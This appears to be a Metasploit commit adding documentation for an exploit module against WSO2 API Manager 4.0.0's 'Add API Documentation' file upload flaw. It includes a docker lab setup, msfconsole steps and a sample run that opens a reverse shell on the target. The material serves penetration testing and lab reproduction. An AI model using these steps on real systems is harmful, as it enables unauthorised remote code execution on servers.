Land rapid7#19647 Added module for WSO2 API Manager RCE

Adds an exploit module for a vulnerability in the 'Add API Documentation' feature of WSO2 API Manager and allows malicious users with specific permissions to upload arbitrary files to a user-controlled server location. This flaw allows for RCE on the target system.

Author: jheysel-r7

documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md

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+## Vulnerable Application
+
+A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
+(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
+server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
+
+```yaml
+services:
+  api-manager:
+    image: wso2/wso2am:4.0.0-alpine
+    container_name: swo2_api_manager
+    ports:
+      - "9443:9443"
+
+```
+
+```bash
+docker-compose up
+```
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use multi/http/wso2_api_manager_file_upload_rce`
+1. Do: `set rhosts [ip]`
+1. Do: `set lhost [ip]`
+1. Do: `run`
+1. You should get a shell.
+
+## Scenarios
+
+### WSO2 API Manager 4.0.0
+```
+msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
+
+[*] Started reverse TCP handler on 0.0.0.0:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking target...
+[+] Authentication successful
+[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
+[+] Authentication successful
+[*] Listing APIs...
+[+] Document created successfully
+[*] Uploading payload...
+[+] Payload uploaded successfully
+[*] Executing payload... 
+[+] Payload executed successfully
+[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100
+
+id
+uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
+pwd
+/home/wso2carbon/wso2am-4.0.0
+exit
+[*] 127.0.0.1 - Command shell session 2 closed.
+```
+
+## Options
+
+### HttpUsername (required)
+
+The username to authenticate with.
+
+### HttpPassword (required)
+
+The password of the user to authenticate with.
+
+### RHOSTS (required)
+
+The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+
+### RPORT (required)
+
+The target port (TCP)